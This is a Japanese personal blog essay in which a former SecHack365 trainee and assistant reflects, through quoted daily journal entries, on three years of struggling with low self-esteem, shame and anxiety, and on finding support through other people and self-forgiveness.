今日をどう過ごそうか

Twitter @01futabato10

Absurd Meditations — SecHack365 3年間の自省録 —

はじめに

こんにちは、ふたばとです。

2025年3月9日に開催された2024年度SecHack365成果発表会をもって、2022年からお世話になったSecHack365での3年間の活動に一区切りがつきました。

この3年間、SecHack365を通じて、本当に多くのことを経験させてもらいました。 この3年の中には、インターン、コンテスト、大学院入試、専門学校卒業、短期留学、学会発表、就職活動、修士論文、大学院卒業など、さまざまなイベントもありました。 常に何かに追われ続けるような充実した日々ではありましたが、同時にさまざまな葛藤を抱え、藻掻き続けるような日々でもありました。

生きることは苦しく、「いつ終わっても構わない」と思っていた時期もありました。 それでも、生きるなら、「何が自分を苦しめているのかを知る必要がある」と感じ、SecHack365の中で日報という形で内省を始めるようになりました。

私の場合、"モヤモヤ"を放置することが自己否定を引き起こしてしまう原因になっていたので、日報の中でなんとか"モヤモヤ"を言語化することで具体的な解決策が得られないかを模索していました。

この3年間の内省と記録を通じて、私が何に迷い、何を諦め、何を信じていたのかを振り返り、整理してみます。 SecHack365への感謝の気持ちと私自身の歩みを重ねて、ひとつの区切りとして記しておきたいと思いました。

SecHack365とは何かに関しては、公式のコース概要ページや、他の修了生のブログをご覧いただけると幸いです。

sechack365.nict.go.jp

b.hatena.ne.jp

重ねての言及になりますが、本稿はSecHack365の活動紹介ではありません。 SecHack365の中で日々投稿していた日報を軸に、トレーニー、そしてアシスタントとして過ごした3年間を通じて、私の青春時代に蹴りをつける私的な随筆です。


SecHack365の振り返り

本題に入る前に、まずはSecHack365で過ごした3年間を振り返っておきたいと思います。 この振り返りは、後に語る内省や心情の変化を追うための前提としての記録でもあります。

何もうまくいかなかったトレーニー時代から、立場がアシスタントへ変わる中で、私の役割も、視点も、心の在り方も少しずつ変化していきました。

ここでは、そうした立場と視点の移り変わりを軸に、SecHack365という場の中で私がどのように揺れていたのかをできるだけ素直に記します。

トレーニー時代

応募書類にはありったけを詰め込んで、自分にできることをすべてやり切ったうえで送りつけることができたので、合格通知を受け取ったときはとても嬉しかったのを覚えています。

応募課題を書く過程では、自分と向き合う時間を強いられます。 それでも、どうしても逃げ出したくなかった気持ちがありました。 私はセキュリティ・キャンプの参加経験があるわけでもなく、学外活動で目立った実績があったわけでもなかったので、学生期間最後のチャンスとしてSecHack365には何としても通りたいと強く意気込んでいました。

しかし、そこにあった活力は、純粋に「何かを作りたい」から生まれたものではなく、"何も持ち合わせていない自分"が嫌で、自分を奮い立たせていたことを覚えています。 もちろん、テーマそのものには興味がありましたし、SecHack365に応募する以前から取り組んでいたものになりますが、正直なところ「SecHack365のトレーニーになること」自体をステータスのように捉えていました。

合格したからには"成果"を出したいと意気込んでいましたが、その"成果"とは何かが曖昧でした。 研究も初めてで、わかりやすい目標といえば「論文化」くらいしか思い浮かびませんでした。 過去にSecHack365に応募して不合格になった経験があったこともあり、「今回も落ちた人がいる」と思うと、「何も成果がありませんでした」とは絶対に言いたくない、責任感にも似た気持ちがありました。

しかし、時が経つにつれて、その強い気持ちは徐々に空回りしていきました。 修了が近づいた頃には、私は「何も成果がありませんでした」の札を掲げていました。

記録を取り、コースワークにもすべて出席していたので、本当に何もしていなかったわけではないはずですが、それでも「研究として何が課題なのか」を見つけることに苦しみ、成果と呼べるものを掴めずにいました。 最も避けたかったはずの成果の無い状態に、自分が陥っていました。

研究分野の進展は早く、レッドオーシャンに飲み込まれていて、調査をしてもしても終わりが見えず、思いつくアイデアは既に誰かにやられていて、やればやるほどに「研究は自分には無理だ」と思い知らされ、八方塞がりになっていました。

追試や実装にも手間取り、実験の試行錯誤の過程も楽しめずに、論文が書けるような成果を出すという自己実現に憧れてばかりでした。 発表資料を作ろうにも、何も話せることがなく、結局すべて誰かの焼き直しで、「自分がやったことなんて何もない」と、自分で自分を追い詰める日々でした。

焦りだけが先走り、ストレスで頭痛と吐き気が止まらずにトイレでぐったりしていた記憶もあります。 うまく助けを求められないまま、成果発表動画の締め切り日を迎えてしまいました。

成果のない自分が、ただただ恥ずかしくて仕方ありませんでした。 何よりも、指導してくださっていた方々に申し訳なさが募り、苦しかったです。

「自分は修了に値しない」と本気で思っていたので、潔く動画を提出しなければよかったのに、薄汚い自分が"修了する権利"を求めて、よくわからない動画を提出してしまいました。

誰にも見られたくないような、恥ずかしい動画でした。

その翌週のオフラインイベントも、会場に向かう途中で何かと理由をつけて何度も家に引き返そうと思いました。 でも、引き返してサボるほうがもっと苦しいと感じた私は、なんとか会場までたどり着き、イベントデイに参加することにしました。

自暴自棄になってしまっていたので、周囲に合わせる顔はありませんでしたが、皆は優しく労ってくれました。 特にトレーナーからは、「自分を卑下しないで欲しい」と直接じっくりと諭してもらいました。

ここで私は、「傲慢は自分を下げるが、卑下はコミュニティ全体を下げる」という大切なことを学びました。 度を越える卑下は、謙虚の域を超えて、個人の問題に留まらず、コミュニティや応援してくれている周囲の人をも傷つけてしまうのだということを実感しました。

そして私はようやく、他者に助けを求めること、他者に悩みを打ち明けることを少しずつ試みるようになりました。

それまで私は、人とつながることを避けて、独りよがりであろうとしていました。 "あの頃"の人生のどん底から這い上がるために、俗世との距離を取り、自分は幸福を望む権利がないということを本気で唱え続けていました。 「遊んでいる暇なんてない」と、誰ともつながろうとしないまま生きてきた結果、誰ともつながれなくなってしまっていました。

でも、独りでは生きられません。 私にすべてを曝け出す強さはありませんが、それでも私を救ってくれる人たちが、SecHack365のコミュニティにはいました。

そして、お世話になったSecHack365に自分が貢献するために、ポスター制作をやり切って、成果発表会を笑顔で迎えようと決意しました。 また、せっかくの大学院進学も、進学を半ば諦めていましたが、SecHack365での1年を終点ではなく通過点として捉え、ここで学んだことを4月以降につなげていこうと、意識を改めることにしました。

日報は単にタスクを記録するものでしかありませんでしたが、この頃から自己認識の歪みを矯正する道具になっていきました。

アシスタント時代

SecHack365というコミュニティは温かく、私はとても好きでした。 だからこそ、アシスタントという役割にも興味はありました。

しかし、ここまでの話からもわかるように、私はトレーニー時代の自分の作品について語ることを執拗に避けようとしてしまいます。 優秀修了生でもなく、むしろ「お情けで修了させてもらった」とすら思っている自分にとって、「トレーニーのとき何を作っていたのか?」と聞かれることが今もとても怖いです。 そんな自分が、トレーニーを支える立場であるアシスタントを務める資格があるとは、とても思えませんでした。

大学院に進学すれば、学業で忙しさに身を任せることができるし、新しい環境で気持ちを切り替えようと考えていたところに、トレーナーからアシスタントとして活動しないかと声をかけていただきました。

正直戸惑いもあり、もにょもにょした返事をした私に対して、トレーナーが「やってみたいならWelcomeです」と言ってくださったので、アシスタントを承諾させていただくことにしました。

私にとって何事も、やるからにはそれ相応の覚悟が必要です。 私には、自分にできる限りこの役割に向き合い、最後まで全うすると覚悟を決めて取り組むことにしました。

アシスタント1年目

初回のコースワークから、苦しかったのを覚えています。 トレーナーの知識や視座、アイデア、洞察力のすべてが圧倒的であることを改めて実感しました。 自分が何かコメントしようとしても、既にトレーナーがそれを遥かに洗練された言葉でコメントされるし、トレーナーに先にコメントされると、もう自分には何も言えなくなり、コメントを捻り出すことすらできませんでした。

ようやく捻りだすようなコメントも、内容以前に相手や状況を思いやる余裕はなく、どうにかコメントしなければならない状況を抜け出すのに精一杯でした。 だからこそではありますが、「トレーナーならどんなコメントをするだろう」と考えるようにはなりました。 トレーナーに近い距離でこうした学びを得られる環境は本当にありがたいものとは理解できていたので、自分がうまくフィードバックできるはずだという幻想は捨てて、「自分にできることをしよう」と言い聞かせるようになりました。 こうして、アシスタント当初から、提出物のリマインドや議事録といった、誰でもできる雑務を積極的に引き受けるようになりました。

やるべきことを着実にこなし、定例コースワークで議論して方向性を整理して、少しずつ成長されていくトレーニーの姿に喜びを感じていました。 一方で、自分が貢献できているのか、自分に何ができるのかと問い続ける日々でもあり、成果に向かって走り続けるトレーニーの姿に、嫉妬の感情が芽生え、呼吸が浅くなり、視界が白く滲むような感覚に襲われることもありました。

あるトレーニーが論文投稿を目指すことになり、共著者として参加させていただけることになったのは、貴重な機会でした。 しかし、当時の私はまだ自分で論文を書いた経験すらなく、構成や内容に踏み込んだコメントはできず、typoや言い回しの調整といった表面的な作業に終始していました。 深いレビューができない自分の無力さに、また落ち込むことになります。

それでも、誰でもできる簡単な作業を丁寧に続けていくうちに、自分には時間を惜しまず注げる資源だけはあることに気づきます。 だから私は、誰にも相談できない状況をできるだけ減らすことを内なる目標に、「いつでもご相談ください」と常にオープンに構えるようにしていました。そして、相談を持ちかけてくれた暁には、「人に相談するのも悪くないな」と思ってもらえるようなフィードバックを意識していました。

ありがたいことに、壁打ちやレビューの依頼をしてくれるトレーニーがいらっしゃいました。 何度もトレーニーと議論に参加するうちに、少しずつ自分なりに感じたことや意見をコメントできるようになりました。 特に、トレーニーには向日性の魅力があり、相談の場での何気ない会話が自分にとっての救いにもなっていました。

次第に、「最後まで寄り添うこと」がアシスタント1年目の内なるテーマになっていました。 たとえ自暴自棄になっても、周囲が距離を取ろうとしても、せめて自分だけは傍にいてエールを贈り続ける存在であろうとしていました。

2023年度が終わる頃に、それが本当に問われる出来事がありました。 詳細は伏せますが、あのときの体力と時間と粘り強さは、アシスタントを承諾したときの覚悟と、「最後まで寄り添う」という意識を保つことで支えられていたと感じます。

1年という期間は、長いようであっという間で、いろいろなことが起こります。 私はトレーニーの皆さんが「笑顔で成果発表会を迎えられること」を、当初からの何よりの願いとしていました。 そのために私にできることが、最後まで寄り添うことだったのだと思います。

アシスタント2年目

2023年度では、トレーニーの皆さんが笑顔で成果発表会を迎えてほしいという願いは、十分に叶ったと感じています。 私自身としてもやり切ったという手応えがありました。 他者のためにここまで夢中になって頑張れたことに、驚きすら覚えました。 人が成長していく様子は本当に尊く、そこにアシスタントとして携われたことを、心からよかったと思えていました。

だからこそ、2024年度もアシスタントを続けたいと問われると、すぐに答えが出ませんでした。 もう一度、同じ気持ちで向き合えるのかという不安があり、やるからには再びそれ相応の覚悟が必要になるとわかっていたからです。 完全燃焼した直後でうまく気持ちが入らないまま、また1年間アシスタントを担うくらいなら、「アシスタントをやりたい!」と心から思っている他の修了生に席を譲るべきではないかと考えていました。

この思いをトレーナーに伝えつつも、ありがたいことに再度お声がけをいただきまいた。 私はSecHack365というコミュニティが好きであること、そして他者とのかかわりや寄り添いの営みが、私自身の精神を支えてくれたことから、2024年度もアシスタントを引き受けることにしました。

とはいえ、2023年度にアシスタントを経験していたからといって、2年目当初からうまく立ち回れていたわけではありませんでした。 コースワークでの議論には積極的に参加できるようになったものの、年度が変わればトレーニーも一人ひとりの性質が大きく変わります。 2023年度と同じやり方ではうまくいかないことにすぐに気づかされました。

重要なのは、私が楽をすることではなく、成果を求めることでもなく、トレーニーがどうすれば笑顔で成果発表会を迎えられるかということであり、一人ひとりの背景と状態を受け止め、接し方を変えていく柔軟さが求められました。

トレーニーの中には、私のようにSecHack365で初めて研究に挑戦する人もいます。 過去の自分と重なるような姿に触れるたびに、私が果たすべき役割は何なのかという問いに向き合い続けることになりました。

特に、言葉に注目するトレーニーと対話を重ねる中で、私は「自分がどんな言葉を使っているのか」に注意を向けるようになり、誰かに向ける言葉が過去の自分自身とつながっていることに気づけました。 私はかつて、自分が必要としていたような言葉を、他者に寄り添う言葉として他者に届けようとしていたのかもしれません。

決して技術的なサポートが十分にできていたとは思っていませんが、 技術では支えられない部分を、私の体験や思索の中から差し出すことはできたのではないかと思います。 それは、他者のためというよりも、自己否定に傾きやすい自分自身を護りながら誰かとつながり続けるための方法だったのかもしれません。


Absurd Meditations

本題に入ります。

この文章は、SecHack365で過ごした3年間の内省の記録を振り返り、整理したものです。 生きることの意味、不条理な現実、自分という存在への不信など、さまざまな問いを抱えながら、私がこれらの問いにどう向き合い、どこに絶望し、どこに救われたのかを、等身大のまま書き留めました。 華やかな成果ではなく、愚直な思索と葛藤の痕跡を、私自身の自省録としてここに残します。

同じような行き場のない問いや言葉にならない痛みを抱えている誰かにとって、この記録がそっと寄り添える存在になれたらと願います。


自分を乗りこなす

毎日を生きる中で、「自分」という存在が、時に手に負えないものに感じられることがあります。 理想と現実とのすれ違いに心が痛み、手放したいはずの過去に足を取られ、感情の波に揺さぶられることもあります。

自分とは、ナニモノなのでしょうか。なぜ、思うように生きることはこんなにも難しいのでしょうか。 自分をどう乗りこなしていくかという観点から、自己との向き合い方、内面で起きる葛藤、そして他者とのかかわりがもたらす救いについて探っていきます。

自己認識の歪み

私は自己肯定感が低く、常に自己否定的な感情を抱きやすい傾向があります。 このために、自分自分をまっすぐに見ることができず、他者からの言葉を素直に受けとることもできませんでした。 誰かに褒められることがあっても、失礼なことにお世辞を言われているような感覚がありました。

他者からの評価や過去の失敗、幼い頃に刷り込まれた価値観によって、自分自身の姿が歪んで映ってしまうことがあります。 歪んだ姿の自分が本当の自分だと思い込むと、つい自分に厳しくなりすぎてしまいます。

このような自己肯定感の低さが、自身の能力や自身の存在に対する価値を正しく認識することを困難にさせていきました。

日報を始めたのは昨年のSecHackの秋の集合回だと記憶しているので、今日でだいたい一年記念です。この一年でいったい僕は成長できているのだろうか、あんまり自信が持てなくてこれまでの日報を漁っていた。日報を振り返ったうえでの自己評価としては、うーん、あんまり進んでいないのでは?という感じです。MBSDのコンテストで優勝して、SecHackでしんどくなっちゃって、大学院に入ってからはその場しのぎの生活を半年間してしまっていたなぁ。どうしたら前に進んでいると思えるのだろう? 僕は優しさで取り繕った、中身は本当に冷たい人間です。近い領域に来られるととたんに冷たくあしらう振舞いをするのですが、その領域には自分が常に居るので、自分に対して異常に厳しいオタクになるのです。輝かしい人を見ていると、そうでない自分が対照的に惨めに見えてしまいがちです。おそらく自分にはまだいろんな可能性があるのだとどこか信じている自分がいて、そうはなれないのだと多方面から察してしまうたびに悩んでしまうのです。憧れの誰かになることはどう頑張ってもどう焦ってもなれないこととか、他の誰かを見ていてもしょうがないなと正しく認識することができるようになりたいな。たぶんそれが大人になることの良さだったり寂しさだったりするんだろうけど。 周りの天才たちと比べてしまう悲しきモンスターを守るための習慣化があるのかなぁと感じています。明日はどんな1日にできるかな。 また主なる神は言われた: ”人がひとりでいるのは良くない。(2023年11月18日(土)日報)

自己認識が歪むとは、自分を他者や理想の目線で見すぎてしまうことであり、そこから生まれてくるのが、「自分は恥ずかしい人間である」という感情です。

「恥ずかしい人間」と決めつけてしまう自分

自分の弱さは自覚しているものの、それを真に受け止め切れていないから、自分が「恥ずかしい人間」であると感じたり、自己否定に悩む瞬間が発生したりして、生きづらさを手放せずにいます。

自分には明確な夢や目標がなく、どうすればいいのかよくわからないまま、目の前の瞬間をどうにかやり過ごすことを続けている。そんなとき、具体的な夢や目標を掲げ、まっすぐに宣言できる人が目の前に現れると、自分の小ささや薄っぺらさが否応なく浮き彫りになる。眩しい。自分がいかに「何も持っていないか」を突きつけられるようで、思わず目を逸したくなる。漠然とした「ナニモノかになりたい」という稚拙な妄想だけが、取り残されたかのようにそこに居座っている。そして、いつまで経ってもその妄想を手放せずにいる自分が、恥ずかしくて、嫌になる。 目標や結果そのものよりも、それに向かって最後までやり遂げる根性によく嫉妬する。自分は最後まで頑張りたくても、肝心なときに踏ん張ることができない。最後まで走り切る苦しさに理解を示せるからこそ、泣きながらでも手を動かせる人を尊敬している。どんなに惨めでも、自分を褒める根拠が無くても、それでも歩み続けられる君は本当にすごい。一方で、そういう人を目の当たりにすると、羨望と同時に苦しさを覚える。どうして自分はみんなと同じように頑張れないんだろう。 実際には誰も自分を否定していないはずで、勝手に他人の目を借りて自分を裁いている状態から恥ずかしさが生まれていることはわかる。でもどうしたらいいのかわからない。本当は自分で自分を好きになってもいいはずの瞬間だってあるはずなのに、もうハードルが上がりきってスルーしてしまっている。本当は自分も何かを頑張っているはずなのに、自分はナニモノでもないということに悶々としてしまう。くだらないだろ。 妙に綺麗で 泥臭い わからない中で (2025年3月13日(木)日報)

他人が自分を見て「ダメ人間」と言ったわけではありません。 それなのに、まるで他人がそう思っているかのように感じてしまいます。

周囲の輝かしく活躍している人たちを見ると、それと対照的な自分がいかにダメな存在なのかということで思い悩んでしまいます。 その時間が長引くと何も手がつかなくなり、余計に自分はダメだと感じてしまう悪循環に陥ることがあります。

劣等感に苛まれる人生で最も無駄で苦痛な時間を過ごしていた。全身がナメクジになっているのでさっさと寝ます。(2023年7月25日(火)日報)

理想と現実とのギャップ、過去への執着、感情の波に日々振り回されますが、これらすべてを咎めているのは、他人ではなく「自分」なんですよね。 なのでここで言う「恥ずかしさ」とは、 “他人の目を借りて、自分を裁いている状態”なんだと思います。

でもここで自分に提案してあげたいのは、自分を「正しく評価しなおす」ことではなく、「乗りこなす」ということです。 つまり、自分の感情や過去の思い込みが、いまどんな動きをしているのかを観察し、自分の取り扱い方を学ぶという姿勢です。 そして、観察の視野を広げ、硬直した自己観察から解放してくれるのが、他者の存在になります。

他者の存在

「すべての悩みは対人関係の悩みである」という考え方もありますが、救ってくれるのも人しかいないんですよね。

独りでいると、自分の思考の同じ面ばかりを眺め続け、視野がどんどん狭まってしまうものです。 しかし、他者と交わす何気ない会話や、相手の表情・声に触れるたびに、自分の内側にこびりついた思い込みや過去の傷が、他者との対話の中でそっと剥がれ落ちることがあります。

僕はいろいろなものを拗らせてしまった過去があるので,楽しいなんて怠慢だという考えが残っていてしまっている.そのせいで本来楽しむべきところを楽しもうとしなかったり,常により苦しい選択をすることこそが幸せなんだみたいな考えが植わってしまっていた.ストイックにがむしゃらに何かをするのを数年間続けていると,人よりコストをかけている分当然成果は出やすくなる.運もあったお陰でいくつか手に入れることができたものもあったけど,その一方で失ってしまったようなものもたくさんあって,それはむしろ後者のほうが圧倒的に多い気もする. しかしどうだろう.何事にも挑戦し続けるためには精神的な健康が必要であることは昨年よくわかった.他愛のない話が自分を救ってくれたり周りの明るさに照らされたり,助けてもらってばかりだ.未来の理想化された自分を追いかけて,今の自分を蔑ろにして今のこの一瞬を楽しめずにいた.凝り固まった自分の思考に気づきを与えてくれるのは何気ない他者との会話だったりする.安易にすべてを打ち明けられるほど僕は強くはないけれど,近視眼に囚われている自分を紐解いてくれるのは自分以外の他者なのかもしれない.(2023年8月9日(水)日報)

他者と関わることで、自分が何に縛られていたのか、どんな価値観に従って自分を苦しめていたのかが浮かび上がってきます。 独りで内省しているときには決して気づけなかった"当たり前"や「こうでなければならない」といった思い込みが、他者との対話の中で綻び始めることがあります。

今週の僕は人に相談したり人をご飯に誘ったりしています。助けて欲しいサインは出すけど迷惑かなと思っちゃったりしてなかなか自分から言い出すことのできない僕にとって革命的な行動を取っています。さっそく上司が1on1をしてくれました。 「いろいろ悩みがあるが、たいていのことは僕がもっと強くなれば解決することだらけなんよな」とずっと考えていたけど上司に「それはやめた方がいい」とズバッと言われました。伸ばしすぎた理想と現実の僕とのギャップがあるせいでそこに辿り着くことができないと不必要に苦しめてしまうんだよな。”こんなこと”もできないのかと。 性格をアップデートしていくのはなかなか時間のかかる作業です。久しぶりにまぁ全体的にはいい方向には軌道修正できているかと認知できたのはよかった。誰かに認めてもらえるようなことは別に必要ないので、周りの人が手を差し伸べたくなるような人になりたいな。(2023年7月20日(木)日報)

そして、誰かに本音を伝えられて、受け入れてもらえたときには大きな安心が芽生えます。 その安心が、自分の弱さや過去の傷をも否定せず、ありのままに抱えて生きていくための力になります。

だから、他者と関わることは怖いことのようでいて、実はとても人間的で、あたたかい営みです。 うまく言葉にできない気持ちを誰かが拾ってくれたり、予期せぬ一言にふっと心が軽くなったりするような、ささやかな体験の積み重ねが、自分のことを少しずつ、確実に優しく解きほぐしてくれるように感じます。

俗世との接点

社会が提示してくる幸せの型や成功の基準を自分に重ね合わせた時、そこに馴染めていないことを感じると、不安に思ったり、自分だけ遅れているように感じたりします。 直接的に自分の持っているものを否定しているわけではないのに、目の前に広がる他者の世界が眩しすぎて、自分の場所が霞んで見えてしまうような、そんな切なさが"生きづらさ"をもたらします。 そして、その痛みから身を守ろうとして、つい人とのかかわりを避けたくなってしまうものです。

なんか世の中もっともっと俗ぽくて、毎日ひたすら死に物狂いで技術を学んでいるのはかなり異質みたい。多くの人にとって勉強は単位を取るためのものとしか考えてないみたい。能動的な趣味を持っていて、アルバイトをして、居酒屋に行って、友達と旅行して、恋人がいて、幸せそう。歳を重ねて学年が上がっていくにつれていつのまにか社会的な価値が存在していることに気づいて、それを選べてない自分が不正解みたいで、学歴とか、就職とか、結婚とか、収入とか、好きなものとか、自分が急に遅れているように感じる。(2022年5月28日(土)日報)

でも、俗世との接点そのものが悪いわけではなく、むしろ俗世にこそ、自分とはナニモノであるのかを知るきっかけや、ふとした瞬間に自分を優しく肯定してくれるような温もりが確かに存在します。

重要なのは、幸せの型に自分を無理に合わせようとすることなのではなく、俗世との接点の中で、自分はどう感じるのかを丁寧に見つめることに他なりません。 一つひとつの出来事の感触を手掛かりに、自分らしさを見出す余地があるのなら、俗世との接点は悪くはないと感じられるものです。

神戸に住んでいたころの行きつけのクラフトビール屋さんに久しぶりに足を運んだら、門出を祝ってくれました。PARKARのボールペンを用意してくれていて、次にお店来たときに渡そうと準備してくれていたようです。PARKARの矢羽は、新天地に向けた応援の証らしいです。プレゼントの物自体ありがたいと思いつつ、何よりも僕の門出を想いながら、心を込めて選んでくれたそのお気持ちが尊いなと感じます。自分が他者の人生の中に確かに存在しているんだと思えた。(2025年4月5日(土)日報)

俗世というのはざわざわした場所でもありますが、日々の出来事の中に人と人の関係の温もりが確実に存在します。 俗世との接点を適切に持てた時、そこで初めて「自分が存在していいんだ」と実感できるようになります。 それは、誰かに承認されるからというよりも、他者と関わる中で、存在すること自体が関係を生み出していることに気づくからです。

自分が大切にされた記憶は、これからの歩みにそっと寄り添ってくれるはずです。 どこかに自信を持てなくなっている自分がいたとしても、過去確かに迎え入れられた瞬間があったことを、忘れないようにしたいです。

自分の中にある答えを引き出す

人は、意外と自分自身の中に答えを持っているものであったりします。 ただ、独りではそれを引き出すことが難しく、誰かに引き出してもらうことで、整理するきっかけを与えてもらう必要があります。 その相手は、特に助けようとはせず、ただ聞いてくれる存在であることが多いと感じます。

人が心の奥底で求めているのは、優れたアドバイスや明快な回答よりも、まずは「ここに居てもいい」と実感できることなのかもしれません。 「わかってもらえた」という結果よりも、「わかろうとしてくれている」という過程に"救い"の種があるように感じます。

他者を救おうとすることは一見崇高な行為に思えるが、自分の期待を相手に押し付けることになってしまう場合もある。そして、それは自分の自由を制限するだけでなく、相手の自由をも奪うリスクがあるのかもしれないのだ。相手は救うつもりがないのに、話を聞いてもらった結果、自分が救われたと感じるというのは本当に不思議なことである。相手が存在そのもの、つまりただそこに居て、ただ話を聞いてくれることそのものが救いのような力を持っている。無条件の肯定的関心を他者に示せるよう、自分も根本的な姿勢や意識の持ち方を変えていきたい。(2024年12月3日(火)日報)

私もまた誰かにとって、ただ傍にいる存在であれたらと思います。 無理に導こうとせず、評価もせず、ただ「あなたがいてくれることが大切なんだよ」と態度で伝えられるような存在になりたいです。

自分に赦しを向ける

自分を厳しくしてしまう背景には、「もっとできるはずだった」「本当はこうありたかった」という強い願いが脳に焼き付いていることにあります。 そして、過去の選択や失敗した出来事を、今の自分の目線で裁いてしまい、"あの頃"の自分を「恥ずかしい人間」であると心から軽蔑してしまいます。

過去の未熟さを経験として受け入れたり、自分の中で折り合いをつけたりして、「そういうこともあったな」と流せる人もいるかと思いますが、未だに私は過去に執着してしまいます。 いろいろな出来事を経験して、もう姿や考え方は変わっているというのに、”あの頃”の未熟な自分が"本来の自分"として思えてしまうから、手を止めた瞬間にまた”あの頃”に戻ってしまうのではないかと自分を赦せずにいました。

僕はセンスや才能なんて無いのでやったことないことはうまくいかないし、目標が無いと何していいのかよくわからなくなる。自由な時間が与えられると逆にうまく動けなくなる自覚がある。人の目ばかりを気にしちゃって、自分の好きなものさえもよくわからなくなってしまう。馬鹿にされるのが怖いんだ。 根本の人格を矯正することは時間もかかるし意識的な矯正は苦しい時間が続く。最近何度も書いているけど、こんな自分であることを受け入れてそのうえでどうするか考えるほうがまだ楽だ。それでも苦しい状態をデフォルトに選ぶことになってしまうかもしれないけど、うまく目標づくりをHackして毎日を歩んで生きたい。あとは、僕が僕自身を赦せるかどうか。 (2024年6月10日(月)日報)

でも、本当に大切なのは、「あのときの自分にとって、できる限りの選択をしていた」という事実を認めてあげることです。 それがどれだけ拙く見える選択も、選ぶことすら叶わなかった選択も、その瞬間の精一杯でした。 そして、そこを通らなければ今の自分には辿り着けなかったということも、確かな事実です。

赦しとは、忘れることでも正当化することでもなく、ただ、"あの頃"の出来事や感情に対して「もう責任を感じなくていい」と自分に言い聞かせることです。 このためには、自分の中にある痛みや後悔、恥ずかしさや怒りに対して、「そう感じていた自分がいた」こととして認めてあげる必要があります。 おそらくこれに気づいてあげることでしか、手放す準備はできません。 むしろ、感じることを避けて抑圧するほど、感情は内側に留まり続けます。

あとは自分を赦すことができるかどうか、というところまで来ているような気がするけど、それがもう本当に難しい。自分の弱さは自覚しているものの、それを真に受け止めきれていないから、自分が恥ずかしい人間であると感じたり、自己否定に悩む瞬間が発生して、生きづらさを手放せずにいる。あの頃の自分はどうしようもなかったんだと、自分を慰めたくてそのままの自分でいることを選んでしまいがちだけど、もう幸せになろうとしていいはずなんだよな。 現在の自分と過去の自分はもう姿も考え方も別人なんだから、責任を感じる必要はないはずなんだ。責任を感じないということは、過去を無かったことにしているのではなく、過去を受け入れた上で、今を生きるための自由を得ることになる。その自由を得るには、少しずつ自分を赦していく習慣が必要だ。(2024年11月19日(火)日報)

そして、赦しは他者との関係の中でも育まれます。 誰かの優しさや共感に触れることで、自分を少しずつ見なおすきっかけにもなれます。 自分を赦す行為は、決して孤独な作業ではなく、他者との間で少しずつ温めながら行うものでもあります。

臆病さの受容

私の性格を一言で言うとすれば、臆病です。 いつも不安がったり、慎重になりすぎたり、「自分なんて」と思ってしまったり、人の顔色を伺ってしまったり、完璧を求めてしまったりして、繊細な感情に振り回されてしまいます。

でも、臆病さが教えてくれる自分なりの戦い方は存在します。 臆病を欠点として克服しようとするのではなく、性質として引き受けることで、自分に合った立ち回り方が見えてくるようになりました。 徹底的な準備や事前のシミュレーション、細部まで目を配ることなどはまさしく、臆病さがあるからこそ取れるアプローチです。

どこまで行っても、どうあがいても、自分以外の誰にもなれないだよな。そんなことは疾うに気づいている。はじめから答えは出ていたんだ、目の前のことを誠実に向き合うことが僕のやることのすべてなんだ。 課題を不明確にしたまま、漠然とした不安に駆られ続けるのにはもう飽きた。自信満々で楽しんでいる人が魅力的に見えるのは知ってる。結局僕は臆病な僕にしかなれないんだ。でも、だからこそ、こんな自分だからここまで来れたって思えるようになりたいな。(2024年5月18日(土)日報)

私は、何かを選択することもあまり得意ではありません。 選択という行為が重く、未来に対し責任を感じて強い不安に駆られます。 でもこれは、自分の人生をちゃんと自分で引き受けたいという願いの裏返しなのかもしれません。

納得のいく選択とは何なのだろうか。自分の選択に関して、自身が合理的に考えてしまうのであれば何かしらの理由付けが必要である。どうしてその選択に至ったのか点と点が離れていると後悔してしまいそうな気がしてならない。Connecting the dots の話的には、後になって本人だけが点と点を繋ぐことしかできないということで、その話には同意するけど、何か決断をするときその時点では、手元にあるカードでどう点を繋いで合理的に見える判断ができるかがポイントになる。もちろん、大事なのは選択した道を正解にすることであって、選択や決断を嘆くことじゃない。だから決断の時点で繋いだ線は少し先に進むと、より線を結ぶのにしっくりくる別の点が見つかったりすることもある。 ある地点における決断というのは、逡巡をまた一つ辿るということになる。つまり決断という行為そのものが新たな迷いや逡巡を引き起こす。せめて最大限意識的で論理的な判断するために、何かを選択するにしても何かを選択しないにしても、理由をちゃんと見出して、言語化して記録しておくことが大事なのであろう。選択で人間が表現されていくのを感じる。(2024年5月28日(火)日報)

選択も、無理に自信満々である必要はなく、その地点で自分ができる限りの準備をすることがまずは大事です。 選択から生まれる迷いに固執するのではなく、選択を通じて自分が何を大切にしようとしたのかを見つめることが重要です。

臆病さと向き合いながら、その時々で出せる精一杯の選択を積み重ねていくことが、自分の人生を生きるということになるのかなと思います。

探索的な仮説検証

環境が目まぐるしく変化し、不確実性の高い今の時代では、PDCA(plan-do-check-act)サイクルを回そうとしても、適切な計画を立てること自体が難しくなっています。 だからこそ、仮説を立てて、実際にやってみながら学んでいくOODA(observe, orient, decide, act)ループ的なアプローチのほうが肌に合っているように感じます。 臆病さによって根拠のない楽観を疑ってしまう性質を利用すれば、大きなリスクを負う前に検証することで正しく怯える準備ができるようになります。

行動の中でしか見えないものを手に入れるには、完璧な安心が揃うのを待っていても何も始まりません。 でも、自分の人生を"仮説"として捉えると、少しだけ自由になれる気がします。 「これをしたらどうなるかな」という実験的な姿勢は、正解主義からの脱却になります。 これにより失敗もまた、1つの"実験結果"になり、生きるという行為に靭やかさが宿ります。

今日は思いがけないタイミングで進路の相談をさせてもらえる機会があった.僕が研究がまだまだ下手で,ちょっと変に苦しんでしまうタイプだというのはよくわかった.なんとなく自分ではそう感じているんだけど,言葉で言われて頭で理解していても,本当の意味で理解できていないというか,自分がそうじゃないんだよなぁと思いつつも”そうじゃない”選択や行動を取ってしまう.これを修正できるのはやはり経験.わからないからこそ,やったことのないことにチャレンジして経験してみることが重要なんだよな.おそらく,わかってみれば大したことはないはず.あとはもっと肩の力を抜いて,楽しんでいかないとなと思った.(2023年8月22日(火)日報)

変わり続ける勇気

臆病だからこそ、変化は怖いものです。 変わるということは、今までの自分の一部を手放すようなものなので、頭では分かっていても心が追いつかず変化を恐れている自分がいます。

でも、変化や選択を求められる瞬間は、いつだって容赦なく訪れます。 このときに恐れを押し殺して突き進むのではなく、恐れに押し潰されて立ち止まるのではなく、恐れとともに歩む選択肢があることを忘れないようにしたいです。 今の自分に丁寧に向き合い、まだ出会っていない自分の可能性に少しだけ耳を傾け、歩み続ける勇気を持てるようになりたいです。

